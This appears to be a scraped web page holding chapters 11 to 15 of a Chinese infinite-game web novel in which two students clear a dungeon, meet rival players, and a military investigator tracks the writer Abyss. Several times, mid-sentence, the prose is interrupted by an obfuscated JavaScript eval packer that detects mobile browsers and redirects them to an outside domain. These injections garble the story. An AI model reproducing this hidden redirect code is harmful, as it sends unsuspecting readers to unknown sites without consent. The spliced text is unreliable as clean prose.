德奇街的傍晚，街道尽头的公园，有着厚厚云层的天空，种满了梧桐的行道，和来往的仿佛真实存在的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660319|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行人。 ……这里是Abyss书写的世界。 真的是Abyss的小说世界。 江时早的喉咙动了动，“温序，我跟你说，这个副本里有……” “轰——” 爆炸般的巨响打断了江时早的话。 惊了一下后，他瞬间看向了巨响发生的方向，正是前方的德奇街。 而此刻在江时早的视野里，已经可以看见一股滚滚浓烟于那片街区升起。 与之一同出现的，还有一道来自新系统的提示音： [本次游戏已通关，副本空间“104号畸形屋”将在三十分钟后彻底关闭] [玩家奖励已发放] [期待与各位下次旅途再见] …… 江时早：“……” 江时早：“？？？” “时早，你刚刚想说什么？”温序回望向江时早，目光温柔，有问必应。 江时早：“……” “没事吧，时早？” 看着江时早呆呆的模样，温序抬起左手，非常轻地捏了捏眼前人的脸。 那手指上几乎没有一点力量，和这个人的声音一样温柔，看起来就像在安抚意外受惊的小动物：“是被刚刚那声爆炸吓到了吗？” 说完温序的手掌覆盖上了江时早的耳朵。 回过神的江时早赶紧抬手握住了温序的手腕，脸颊微烫，回道：“我没事，我没事……” “没事就好。”温序收回手，态度相当自然，“那道提示音又出现了，时早，你也听见了吧？” “……对。”他就是被刚刚的提示音惊呆了。 明明应该是更了解情况的那个人，江时早此刻却比温序更加难以置信：“我们这就通关了？” 他都没做什么！ 他连德奇街都还没有物理意义上的抵达！只是站在这街对面的十字路口看见了它的路标。 千言万语，最后化成了一句：“这跟我看过的无限流类型小说好像不太一样……” 他们进入这个副本空间满打满算有三分钟吗？ 什么都还没做…… 这！就！通！关！了！ 一旁的温序若有所思道：“看来是有人快速通关了。我们运气真好，时早。” 听温序这么说，江时早瞬间也想到了那个特殊的“001”。 对了，代号001的那位兄弟肯定不简单。 他怎么会忘了这件事。 “001”，这妥妥是TOP级的人物代号。 所以他们这些路人丙是被玩家001带飞了？ 江时早的眼睛里又有光了。 他抬起的手轻拍了拍胸膛。原来不管是穿书还是进入无限流，自己都只是衬托主角光辉的背景板路人啊。 这样一想莫名就安心了一秒。 江时早再次望向浓烟升起的方向……不过话又说回来，001是怎么做到在这么短的时间内通关的？对方知道104号别墅里发生的事吗？ 想到这里时，江时早有些犹豫。 要不要去104号别墅看一眼…… 副本已经通关了，他们现在应该不会有危险了吧？ 十字路口边，与江时早反应相反的是，温序的眼眸在这一刻变得幽暗了些。但他脸上的浅笑很好的隐藏了他眼底的情绪。 早早现在心里正想着的人……好像不是眼前的自己啊。 温序望着江时早，眼尾的笑意愈发温柔了。 12. 第十二章 爆炸在这片街区上引发了一系列连锁反应。 德奇街上，有人站在了起居室的大玻璃窗边，有人小心地透过楼上的窗户观望。 也有人从房子里走了出来。他们来到院子里与街道边，试图弄清楚发生了什么。 在最开始的尖叫与恐慌后，路上不多的行人几乎都看向了浓烟升起的那个方向。公园里也陆陆续续有人赶来，此刻不少人都在询问情况。 夕阳下，江时早看着德奇街上越聚越多的人。所有人的反应都很真实……一切都太过真实了。 他甚至能够听见不远处传来的居民交谈声。 在这样的一个世界里，他和温序似乎才是格格不入的存在。是虚无的，途径此处的旅客。 他们仅仅是旅客。 就像那一道道系统提示中的：“旅途”。 他们来到这个世界，经过这个世界，见证这个世界……就像曾经的自己在阅读小说时，他观看了一个又一个故事的开端、发展与结局。那时的江时早也仅仅是一个故事的见证者，一个读者。 …… 江时早压下心中再次翻涌的触动。他一边观察，一边与身旁的温序说道：“我们身上应该受到了某种保护……或者是处在了屏蔽状态。这个副本空间的居民从一开始就自动忽略了我们的不同。” 江时早和温序的身上还穿着铃城高中的校服。 视线从校服上抬起时，江时早看向温序：“对了，温序，你也看无限流小说吗？” 从两人在杂物间中第一次听到系统提示起，温序的反应一直很沉稳，也很迅速。给了江时早一种对方也接触过该类型小说或影视作品的先入为主印象。 “无限流小说吗？” 听到问题的温序抬手摸了摸下巴，而后微微一笑，回道：“其实没有。” 不过在看见江时早的眼睛睁大的那一瞬间，他继续说道：“但我大概知道它的运作模式。” “我从其它地方了解过。” 温序说完，递来了一个安心的眼神。 “呼……”江时早松了一口气。 如果温序完全不了解无限流，对方在这种设定的世界里求生难度会增加很多。 这时，江时早对面的人唇边笑意似乎又加深了一些。 温序放轻了声音询问：“时早，我会不会太拖累你了？” “不会不会。”江时早连连摆手。 就算温序真的完全不了解无限流，他也可以在他们返回铃城后，去给温序找几本无限流小说看看。 铃城应该也有这类型的小说吧？ 实在不行，就给温序找灵异文看！不管怎么样，多看看小说总是有好处的！就像他自己，不就是因为看多了Abyss的小说，才见多识广，才能应对现在的情况吗……！ 但不知道为什么，这样想着想着，江时早的表情逐渐变幻了起来。 有那么数秒钟，好几种情绪在那张脸上缤纷交错。 江时早想到……所以他穿书的原因到底是什么。 不会也是因为小说看多了吧…… “……” 十字路口边，温序一直注视着眼前的人，见对方陷入了可爱的沉默，温序这才含笑说了一句：“时早，离开这个地方的通道已经打开了。” 刚刚那道游戏通关的通知响起后，系统也向参与者公布了出口的位置。 “看来我们还需要在这三十分钟内抵达那个出口。”温序补充了一句。 听见声音的江时早立刻抬起了脑袋。回神之后，他点了点头。他也看见了意识中的那个出口标志。 说真的，这种感觉有些神奇…… 脑子里好像自动生成了一幅地图、一个方向标和一个逃生出口。 江时早看向出口的方向，正是他们前方的德奇街。出口的位置距离他们也并不远，就在104号别墅旁。 目测只需要步行几分钟，他们就能抵达那个出口。 在重新深呼吸了一口气后，此时此刻，江时早也想到了另一件事。 事实上，之前在杂物间时他就想过了。 系统公布的副本参与者人数是8人，温序和他应该算是来自铃城的玩家…… 那其他几个玩家呢？他们是从哪里来的？也是铃城？还是书中世界的其它城市？或者……Abyss的其它书？ 在确认副本“104号畸形屋”就是自己曾看过的那本短篇小说后，江时早不得不将这个无限流游戏与自己的穿书经历结合分析。 这个无限空间会不会是基于Abyss的小说世界生成的？ 所以游戏副本才是Abyss曾经写过的书，而其它书中的人物，就像温序，才会进入到游戏中……？ 思索间，江时早的思绪是被一道询问声打断的。 “你们是玩家，对吧？” 声音从距离两人不远处的右侧行道上传来。 …… 街道上，3947观察这两个穿着校服的高中生很久了。 进入副本后，3947所在的三人小队很快就判断出了副本世界的背景与时代。 这是一座典型的十九世纪西方城镇。 他们进入副本后所处的场景是公园里的河畔边。 从公园南门出来时，3947几乎一眼就看见了那两名穿着格格不入校服的“高中生”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660320|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然进入副本只有短短不到几分钟的时间，但3947和同伴已经从公园中的副本居民身上打探到了和“畸形屋”有关的信息。 “104号畸形屋”所指的应该就是德奇街第104号别墅。 它是这一片居民普遍认知中的怪屋。 但还没等他们前往第104号别墅进行进一步的调查，副本通关的信息就率先响了起来。 “……”老实说，包括3947在内，141，854，623，以及2874在听见副本通关的声音响起时，所有人都沉默了片刻。 五人也彻底确定了001并不在他们之中。 并深切感受到了顶级游戏者的实力。 毕竟，当他们还在尝试前往德奇街第104号别墅时，那位最高位的存在已经破译副本、通关游戏了。 然后3947等人就看见了那两个站在十字路口边的“高中生”。 眼前的二人穿着不知道是哪所高中的校服，但在3947眼中，这两个人一定不是普通玩家。 3947甚至怀疑他们是在冒充……伪装高中生。 尤其是那个身高近乎1米9的“高中生”。 那人脸上一直挂着浅笑，但那笑容怎么看都觉得有些瘆人…… 而且这个“高中生”应该从一开始就发现了靠近的他们，却一直熟视无睹。对方的关注点好像一直在其同伴身上，直到3947出声，这个浅笑脸“高中生”才随着其同伴的目光一齐转向了他们一行人。 看清两人容貌的3947又倒吸了一口凉气。 ……这特么就不是普通人的长相！ 联系自己之前的猜测，3947更加怀疑209999、210000和001之间存在密切关系了。 …… “你们是玩家，对吧？” 听见声音时，江时早转身看向了说话的人。那一行人一共有五人，从服装来看，他们应该就是其它几位参与者了。 而3947也下意识地与江时早的目光相对。 毕竟在他仔细观察后，这位应该是隐藏的更好的那个人。 连对方身旁那个危险的一米九都时刻留意着其反应。这种人绝不可能是普通人！ 3947异常紧张地望着江时早。 此时此刻，眼前这个看起来完全无害的“高中生”已经在他心中形成了未知恐怖。 他居然没能从对方身上看出一点破绽！ 街道上，3947几乎花光了所有力气来使自己冷静下来，进行分析……但是，他真的最怕厉害角色顶着一张迷人又善良的脸了。 相对比，一米九的那张反派脸就好分析多了。 13. 第十三章 江时早看向对面五人。 刚刚说话的是一个扎着马尾、穿黑色作战服的长发男子。 五人中有三人穿着画风一致的作战服。 另外两人，一个是穿蓝色兜帽衫的年轻人，一个是画风迥异的中年人。 中年人体态宽胖，看上去缺乏锻炼，此刻对方激动的情绪溢于言表，站在那一行人中显得格格不入。 这一行人是玩家。 意识到这一点时，江时早的脑中已经闪过了数道念头。 眼前这些都是代号数值小于一万的玩家。无论他们的游戏代号代表的是进入这个无限空间的顺序，还是代表着玩家在这里面的排名。比起自己和温序，这些人都是排名非常靠前的老玩家了。 他们对这个空间的运作规则更加了解。 也就是说……这种时候，一定要冷静，避免冲突……尤其是像他和温序这样的纯新人。 就在江时早思索着怎么安全的遁时，温序开口了。 温序侧过身，垂眸与江时早说话：“我们走吧。” 温序此时的态度十分恭谦。 两人视线相对时，江时早立刻Get到了温序！ 他当即回道：“好。” 江时早认为自己看懂了温序的示意——温序在示意他们先撤。而这一招，江时早可不要太会了。 “我们走吧”，简而言之就是：撤退！ 和江时早始终贯彻的“苟”字诀异曲同工。 这毕竟是他们第一次进入这个无限空间，谨慎一点总没错。 江时早在心里点了点脑袋。 温序的唇角这时微微上扬了一下，旋即他就示意身边的人先走。 见两人要走，临时走在一起的五人组当然不敢阻拦。 就是其中的中年男子有些惋惜。 中年男子2874看着那两个“高中生”离去的背影，惋惜道：“可惜啊，没有问到001的消息……如果能请到001带我进行副本……” 话未说完，他的同伴623已经出言打断：“别做梦了。” 穿着蓝色兜帽衫的623正是中年男子2874重金请来的带他进行副本的赏金猎人。 理论上，只要钱到位，623就会接下和这个无限游戏空间相关的任何任务。 “哎。”中年男子也算是有点自知之明。只是他感觉自己这辈子可能再也不会遇上这么快——这么顺利——这么安全的通关情况了。 一旁听到两人对话的3947这会儿也算是确定了这两人组的关系。 果然是雇佣关系啊。 顺着3947的视线，141开口道：“你觉得001可能在那两人中？” 3947说：“如果001在他们之中，应该就是那个看起来……看起来很友善的那位。” 141说：“和我们摆了摆手的那位？” 出于某种安全意识，江时早离开时，确实礼貌的同几人挥了下手，道了声“再见”……日后好相见。 束着发的3947点头道：“那个一米九的“高中生”明显对其……俯首帖耳。” 闻言，141和854稍加回忆，好像确实如此。两人都点了点头，认可了同伴的观察。 不过，“他们为什么要伪装高中生？”854不解道。他也不太信那两人真是高中生。 “谁知道呢。”3947看着德奇街的方向。 001和209999、210000组队这件事本身就很奇怪。 “出去之后，查一下那是哪所学校的校服。” …… 江时早和温序混入德奇街的人群中后，这才回头望了一眼。 那些老玩家们并没有跟上他们，在确认这一点后，他稍微松了一口气。 还好那一行人没有为难他们。对方一定也知道自己和温序是新人。 这么看来，这个无限游戏空间的生态似乎不是很糟糕…… 就这样，江时早和温序一路穿过人群，几分钟后，他们终于看见了那座已经毁坏了大半的德奇街第104号别墅。 别墅对面的街道上聚集了好一些人，但这会儿没有居民敢贸然靠近那栋因未知原因炸毁的房屋。 也因此，江时早几乎一眼就看见了那个站在废墟之上的人。 那是一个穿着纯黑色三件套正装的男子。在灰蒙蒙的天空下，对方典雅的西装外还披着一件黑色斗篷。他戴着兜帽，容貌则完全隐藏在了一张黄金色的面具下。 除了身高与体型，江时早很难再看出更多的信息，那人连手都包裹在了皮质手套下。 但几乎刹那间，江时早的脑海中就弹出了一个人的代号。 ——“001”。 这是001吧…… 不知道是不是因为自己太过紧张了，当江时早看向那个站立在废墟上的人时，他总觉得那人面具下的那双眼睛也看向了自己。 “……”这个认知让江时早几乎下意识地往温序身旁靠了靠。 “时早，没事吧？”注意到江时早的动作，温序体贴的抬起左手，虚抱住了身边人的肩膀，而后他低下头，用一种近乎耳语的方式说道： “这地方怪人真多，我们先离开吧。” 江时早对温序的提议万分赞同。 ………… 铃城，第二综合楼。 7-14活动室里，社长曹青将灯打开时，林西正摇头叹气地走向角落里江时早站立的方向。 招魂游戏没有成功。 江时早“回神”时，看见的就是林西放大的脸。 吓得他往后挪了一小步。 “怎么了，时早？”刚刚来到角落的林西有些摸不着头脑地抬手在江时早身前挥了挥。 江时早深呼吸了一口气，在看清眼前的人和地点后，他大概猜到是怎么一回事了。 自己应该从头到尾都没有离开过这间活动室。 在镜子前的同学消失时，他和温序应该就进入到了另一个空间，也许那个恐怖的空间就是一个与他们前往的无限空间所连接的中转站？ 这样想着，活动室里，江时早回道：“抱歉，刚刚走神了。” 江时早的目光在这间亮起灯的活动室里找了一圈，找到了温序。温序正向着他走来，两人视线交汇时，彼此都从对方眼中确认了一些信息。 江时早莫名间松了一口气。温序的确和他一起进入了那个无限空间，他们都安全的回来了。 与此同时，江时早也在心里将一件事提上了日程：得给温序找闯关类灵异小说看了。 一旁的林西顺着江时早的视线看向新来的转学生。 不知道为什么，林西的视线在两人身上来回一转后，总觉得时早和转学生的关系莫名其妙的好像就亲近了不少。这感觉真奇怪。刚刚有发生什么事吗？ 没有吧。不就是时早和转学生都抽到了游戏观察者的身份牌吗。这也能建立起奇妙的友谊？隔着两个对角的空间？在黑暗中？ 林西继续摸不着头脑。 那之后，超现实研究社团的成员们又尝试了几次镜子游戏，不过都没有成功。 傍晚来临时，一行人结伴去食堂吃了晚饭。 等到晚上的社团活动时间，他们换了几款常规的灵异卡牌游戏玩。 江时早在平时晚自习第一节课下课的时间去了一趟校医室，取回了自己的运动衫。 温鹤临将运动衫还给少年时，蓝白色的衣服已经洗干净并烘干了。装在透明的服装袋里，让接过它的江时早有些受宠若惊。 “谢谢您，温老师。”江时早真情实感地再次道谢。 眼前的好心校医真的……太全面了。江时早再次感慨，也再次感到了不好意思。 或许改天他可以请这位一直以来对他照顾有加的校医一起喝酒……等等，不对，不能喝酒。 差点忘了自己现在还在冒充高中生。 这样一想，或许他可以请好心的校医喝……喝奶茶吗。 “不客气。” 温鹤临垂眸与少年说话，声音既温和又包容。 “你知道的，时早。无论有什么事，你都可以联系我。”温鹤临说着，扬了扬被他握在手中的手机。 短信箱里，已经有一条江时早答应过的并且也发来了的信息。 听着两人的对话，一旁陪同江时早来取回衣物的温序挑了挑眉。 温鹤临仅用余光瞥了这个转学生一眼，并不想同其交流。他那道温缓的目光一直落在江时早身上，直到对方告别离开，背影消失于视线后，这个原本温润儒雅的人才于瞬间冷下了一张脸。 和之前判若两人。 温鹤临有点厌烦那个跟在早早身边的人了。 看着十分碍眼。 …… 夜色下，江时早和温序并肩向第二综合楼走去。 距离社团活动结束还有一个半小时。当然，也没有严格要求他们必须一直待在社团活动室中。 相对而言，铃城高中的学生们在周四的夜晚十分自由。 这个时段，校园里随处可见结伴而行的学生，和不少正进行着露天活动的社团。 “挺热闹的。”温序说了一句。 “是啊。”江时早接道。 或许是因为在进入无限空间前，曾见到了一个完全不一样的铃城，此刻再次看到这个充满活力与生气的校园，江时早的目光都十分难得的柔和了下来。毕竟他还没有忘记铃城高中的校园里存在着很多灵异诡怪！ “时早。”在经过操场时，温序忽然喊住了江时早。 “怎么了？” “可以与我交换电话号码吗？” 听见询问时，江时早愣了一下，当然也仅仅是愣了一下，只是因为温序看上去非常认真，让江时早在那一瞬间差点生出了对方在索要的并不止是电话号码的荒诞念头。 所以下一秒江时早就回复了：“当然可以。” 说完他拿出手机，心中也笑了一下自己刚刚那不着边际的发散思维。 但很快江时早就发现，眼前的人在得到他的同意后，仿佛连眼眸都亮了起来。 注意到这一点的江时早内心震动了一下。不过是交换手机号码而已，温序都这么开心吗？ 回忆起温序今天的一系列反应，温序好像真的很想和自己交朋友……而他这个温柔的同学在交朋友这一点上又表现得十分小心翼翼。 种种对比下，这难免不让江时早产生了一种猜测……难道温序在之前的学校里没有交到朋友吗？ 江时早看着眼前的人，此刻温序的神情已经一扫之前在询问时所若隐若现的落寞与期盼。 最后，江时早摇了摇头。 像温序这样长相好看、好脾气又热心的人，怎么会交不到朋友呢？ “怎么了，时早？” 已经保存好江时早电话号码的温序唇角上扬，看上去很开心。 江时早拍了拍对方的肩膀，“走，我请你喝奶茶。” 第二综合楼的一楼中庭有一家原创饮品店，江时早发现不少学生在那里买奶茶。 “……好。”温序欣然应允。 江时早说：“一会儿我们找个安静的地方喝奶茶。” 得和温序商讨一下无限流的事。 从出口离开副本后，江时早就没有再听见那道新的系统声了。这让他感到有些奇怪。 之前在副本中系统曾提到过的奖励，江时早好像也没有收到。 他问过温序，温序和他的情况相同。 江时早想了想，虽然没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660321|172916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收到新的提示，但不管怎么样，还是要为随时可能到来的下一场游戏副本做好准备。 温序这时微微低下了头，目光落在说话间不经意的就靠近了自己身边的少年身上。 江时早在思索无限空间的事。温序很清楚，他的唇角又上扬了一下，声音格外温柔，他说： “好，我都听你的。” ………… 江城，中心医院。 神经外科独立病房外的走廊上。 何显镐退出病房后，他来到靠近电梯一侧的走廊。在拿出特殊配置的手机拨通一个加密号码后，何显镐一边等待，一边确保从病房里走出来的另一个人在自己的视线中。 刚刚在病房里，何显镐终于看见了江时早，趟在病床上的时早。 时早的神情很平静，看上去就像睡着了。 他询问了医生时早的情况，得到的回答与江一愿在电话中告诉过他的并无不同。 走廊里，何显镐看了眼又回到了病房门外的温执和江一愿，两人距离他大约十多米远，这时，何显镐拨出去的电话被接通了。 “调查员119，请讲。” 何显镐没有耽误，立刻用组织好的精炼语言将温执的情况上报给了上级。 但令他没有想到的是，电话那端在沉默了片刻后，忽然说道： “请稍等，通话即将转接。” 然后在两声转接声响后，何显镐听见了另一个人的声音。 对方在电话那端说道：“你见到温执了？写灵异小说的那个作家Abyss，温执？” “是。”何显镐回道，但他的眉头已经蹙起。 他很清楚在发生这种电话转接的情况时，转接后的通话者一定是更高级别的长官。 而现在，电话那端的长官明显知道温执这个人，并且对其十分关注。 “他现在在你的视野内吗？” “在。” “长话短说，我们已经定位了你的位置，特殊部门的人正在赶来。请你确保在此期间，温执都在你的视野内。” “收到。”何显镐神情严肃，他也确实一直留意着温执的一举一动。 目前来看，对方只是站在病房门前，温执正在同江一愿说话。 此时电话还未挂断，另一端的长官声音再次传来：“保持通话，如果有异常，随时向我汇报。” “长官，这个人是危险人物吗？他的身旁有平民。而且这里是医院。”江一愿距离温执太近了，何显镐不得不询问，“需要我现在采取控制措施吗？” 但在他询问完后，电话那端却又沉默了一会儿。 好几秒后，何显镐才再次听到那位长官的声音。 “调查员119号，即刻起转入调查一组。现在向你公布温执相关信息。” “有调查显示，在Inter-DimentionalTravel无限游戏空间中，曾出现以作者Abyss早期创作小说为游戏副本的世界。” “有调查显示，一位高位玩家曾唤代号001的玩家为‘厄白斯’。我们怀疑‘厄白斯’即为音译后的Abyss。” …… 不需要长官再多解释，何显镐很快就想明白了其中的联系。 无论是哪种情况，温执，或者说作家Abyss都与这个无限空间有着密切联系。 “还有一条最新也是最近的情报。” “001再次出现了。而他进入的副本空间，正是以作者Abyss曾经创作的小说所构筑的一个世界。” “另外，在首次获得相应情报后，我们一直在尝试联系温执。但这个人就像人间蒸发了一样。直到你的电话打来……” 听到这里，何显镐已经对眼下的情况有了大致了解。 他看向十来米外的那人。 所以…… 现在出现在他视野中的人，极有可能就是无限游戏空间里的玩家001。也是军方特殊部门重点调查、并且想要控制起来的人。 就在这时。 病房前的温执忽然转过了身，他看向何显镐，目光仅在这人手中的通讯器上停留了半秒，随后，他的脸上出现了一个意味不明的笑容。 看着那人脸上的笑容，何显镐猛地回过神来。 不对—— 事情不对。 军方一直没能找到温执，说明对方有意隐匿了行踪。而如果温执就是001，那之前他试探自己的话，就很好解释了。 这个人很可能清楚军方的调查。更加清楚何显镐进入了游戏之中。 也正是因为清楚，温执完全可以不在自己面前露出任何破绽。 但温执这么做了…… 这只能说明…… 对方是故意的。 他是故意的！ 何显镐的瞳孔忽然剧烈地收缩了一下。 他看见温执无声地对他说出了四个字：恭喜入职。 …… 何显镐最难以置信的推测应验了。 温执是故意让自己察觉到了问题，然后等着他向上级汇报，然后…… ……然后何显镐立刻被转入了调查一组。 ……汇报、电话转接、情况说明。 这个人猜到了接下来的所有发展。 或者说这一切实际上都是对方设计好的。 那个笑容已经说明了一切。 是温执想让他进入调查一组。 念头冒出来时，何显镐握着手机的手已经紧了又紧。 隔着数十米，他看向温执，却无法从这个人的身上再看出任何破绽。 温执依旧从容不迫。他就那样立在病房前。好像这一刻，除了病房中的那个人，其它的一切他都不关心。 ……他到底有什么目的？ 14. 第十四章 令何显镐难以置信的事接踵而至。 就在特殊部门的人即将进入医院时，原本一直在他视野里的那个人却在眨眼睛忽然的消失了。 何显镐愣神的瞬间，电话那端传来了询问：“怎么了？” “温执……温执不见了。” 数秒后。 “我知道了。”说话的人似乎并不意外。 “他会不会是进入游戏了？”何显镐说。 “你继续留意周围，我们会安排人排查医院和监控。” “好。” 通讯暂时中断后，何显镐大步走向病房外。 “一愿，温执呢？” 江一愿看了眼何显镐走来的方向，感到有些奇怪，“温执刚刚离开了，显镐哥你没看见吗？” “离开了？”何显镐差点也回头望了下身后。 医院的电梯和楼道都在他身后的走廊尽头。 何显镐确认自己没有看见温执走来过，但是…… 等一下。 仔细思索后，何显镐也察觉到了一点不对劲。现在再回想，温执在自己视野里‘消失’前，为什么自己会感到晃神了一会儿？ 何显镐的眉头紧蹙了起来。 江一愿说：“是啊，温执说他有事需要回家一趟。怎么了显镐哥？你还有事……找他？” 老实说，这么多天以来，温执除了回家换衣物的时候，几乎就没有离开过医院。这也是江一愿第一次听对方特意与她说明了有事需要离开。 哥的情况已经稳定，或许之后温执来医院的时候会减少吧，江一愿是这样想的。 “他有说会回来吗？”何显镐问道。 “嗯？”江一愿看向何显镐，感觉眼前的人真的有点反常，显镐哥这表情到底是希望温执来还是不来啊？ 何显镐也知道自己的反应有些过度了，他深呼吸了一口气，调整神态说道，“一愿，如果温执再出现，一定要立刻联系我。” “……他是个危险的人。” 何显镐不能向江一愿透露更多机密信息，只能这样提醒妹妹。 江一愿有两秒没有说话：“……” 为什么她感觉眼前的何显镐更古怪。从见到温执开始，显镐哥对温执的敌意就很明显。 不过江一愿还是回道：“知道了显镐哥，如果温执来了，我会通知你。” 何显镐慎重地点了点头，之后他的表情又缓和了些：“时早后续的费用够吗，我可以帮忙。” 某种程度上，这也是何显镐除了来看望江时早之外，他赶来医院的另一主要目的之一了。 他很清楚江家兄妹的家庭情况。 “够的显镐哥。”说起医疗费用这件事，江一愿就感到这或许是哥发生车祸后不幸中的万幸了。 “哥他好像买了一款医疗保险，具体我不清楚，但之前我去咨询收费时，医院的人告诉我，哥医疗卡里的钱足够多，还有特殊的医保福利，涵盖了哥后续治疗和住院的所有支出。不需要我们再负担额外的费用了。” “这样吗。”何显镐听后点了点头，他不太了解医疗保险这个领域，但这确实帮了相依为命的兄妹俩大忙。 何显镐这时后知后觉也意识到了，时早的住院环境确实非常好。 “但之后如果有任何需要，一定要联系我。” “知道了显镐哥。”江一愿应了一声。 ……… 铃城高中，第二综合楼。 买好奶茶后，江时早和温序来到了综合楼西侧的偏庭。 这座偏庭是一处设计规整的现代化室内花园，经常有学生在这里休息。 江时早挑了一个远离其他人的花坛边坐下，温序坐在了他的身边。 在喝了一口冰奶茶后，江时早久违地感到了一阵神清气爽。 爽得他都想叹一口气了。 哎…… 这要是在江城多好啊。 一旁的温序学着江时早的模样喝了一小口。他的眼尾微微眯起，眼眸里倒映着偏庭的灯光，看起来十分满足。 几分钟后，江时早说道：“我还没有逛过学校的书店。” 在来偏庭的通道里，他们路过了一家校园书店。 江时早观察了一下，书店的面积很大，他一眼望去，发现里面不仅有学习资料。江时早隐约看见了文学和语言类等书籍的分区标牌。 总觉得这样布局的书店里都会有小说存在…… 但这又是一家校园书店。 “你想去逛逛吗？”温序温声问道。 “你说里面会有小说吗？”江时早将心中所想道出。 “时早想看小说了？” ……半个钟头后，温序知道江时早为什么会那样问了。 第二综合楼里的这家书店真的有悬疑推理类小说。 不仅如此，江时早还找到了好几本灵异恐怖文。 实际上在拿起那些书时，江时早还有些紧张地看向了书封上印着的作者名。 ……很陌生。每一本书的作者名都很陌生，江时早不曾在自己的世界里见过或是听闻过他们。 这令他有些怀疑，难道这些都是《铃城》这本小说世界里的作者？ 最后，江时早用自己余额惊人的校园卡刷卡买下了书店里能找到的所有灵异小说，外加几本他感觉很适合作为无限流副本的推理小说。 然后分了一半给温序。 “我们要多看小说。” 在将一半的书递给温序时，江时早神色格外认真。 说着，他又指了指自己手中剩下的一半书：“我看这些。我们可以每天交换已读剧情。” 温序接过那厚实的一挪书时，脸上依旧挂着浅笑。 江时早认真道：“我觉得看它们或许有助于我们通关副本。无限流副本的类型大多可能是灵异、冒险、悬疑、闯关和大逃杀类……” 之前那个副本就是Abyss曾经创作的小说。铃城也是Abyss创作的小说世界。 如果之后的副本还是Abyss创作的小说……这当然是最好的情况。这样一来，江时早感觉自己和温序的通关率将大大提升！ 如果不是的话，那多看小说也总是有好处的！而且这些还是铃城世界里的小说。说不定就与那个无限游戏空间有关联。 江时早思索时不免又低头看了眼自己手中的书。 怎么说呢…… 对于进入无限游戏空间这件事，他其实很紧张。自己也应该更加谨慎才对。 但是刚刚在看见这些书时…… 难以否认……他竟然很想看。 不是以上对着温序扯出的那套理由，江时早是真的想看这些小说。 只看封面内容与简介，他都感觉这些书很好看的样子……完全就是自己平日里看见就会收藏起来的书啊！ ……这真的不是Abyss写的书吗？江时早又看了看那些陌生的作者名。 几秒后。 “……”意识到自己在如此危机的状态下还幻想着酣畅淋漓地看小说，江时早都有些羞愧了。 但是仔细想想，自从成为社畜后，他看小说的时间真的越来越少了。 温序这时浅笑了一声，“时早，你请我喝奶茶，又借我书看，我很感动。” 温序说：“今天是周四，时早周末有空吗？不如这周末我们一起找个书店看书。我请你喝饮品。之后我们可以一起吃晚餐。” “……当然，如果时早你愿意的话，我们还能一起吃午餐。” 温序向眼前的人发出约会的邀请。 江时早只思考了一秒就答应了下来！ 他点头道：“这样也好。不知道下一次游戏副本会在什么时候开启，我们尽量多待在一起。” 江时早压根没往约会的方向想。只觉得在书店一起看书这个想法真是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温序陪江时早坐到了南岸第12站。 在和江时早道别下车后，这个人站在第12站台的站牌边，温序看着那辆逐渐驶远的公交车，脸上神情渐敛。 南岸第12站便是现在的他能够抵达的区域范围极限了。 这样一想，温序眼底闪过一抹不甘心。 他能和早早在一起的时间还是太少了。 怎么办好呢…… 他看向铃城上空。 此刻的温序眼中，有一道界限分明的屏障。屏障分割了他所身处的这片空间，与公交车消失的那个方向，将更里面的区域严丝合缝地封锁了起来。 温序试探性地抬了下手。 真想撬动一块屏障。 这样自己就能和早早一直待在一起了…… 铃城诡异的天光下，这样的念头光是想想，温序的唇角就又有了笑意。 …… 444号公交车上，江时早在经过南岸第13站时，连头发丝都屏住了呼吸。 幸运的是，之后的路程上没有再发生早晨那种意外。 等到他安全的在南岸第14站下车后，江时早大大的松了一口气。 好像自从经历了那个“三分钟”的游戏副本后，今晚做什么都很顺利。 也没有再撞上灵异现象。 ……难道这是参与副本的奖励？ 此时此刻，江时早看着一路亮着路灯的街道，暖黄色的灯光让一切看上去如此寻常，就像任何一个普通的五月中的深夜街道。 没有多做停留，背着书包的人快步走向了便利店的方向。 江时早没有忘记自己和邻居温执约好的晚上一起回家。 15. 第十五章 “叮咚，欢迎光临。” 好听的自动欢迎声在客人走入便利店的瞬间响起。 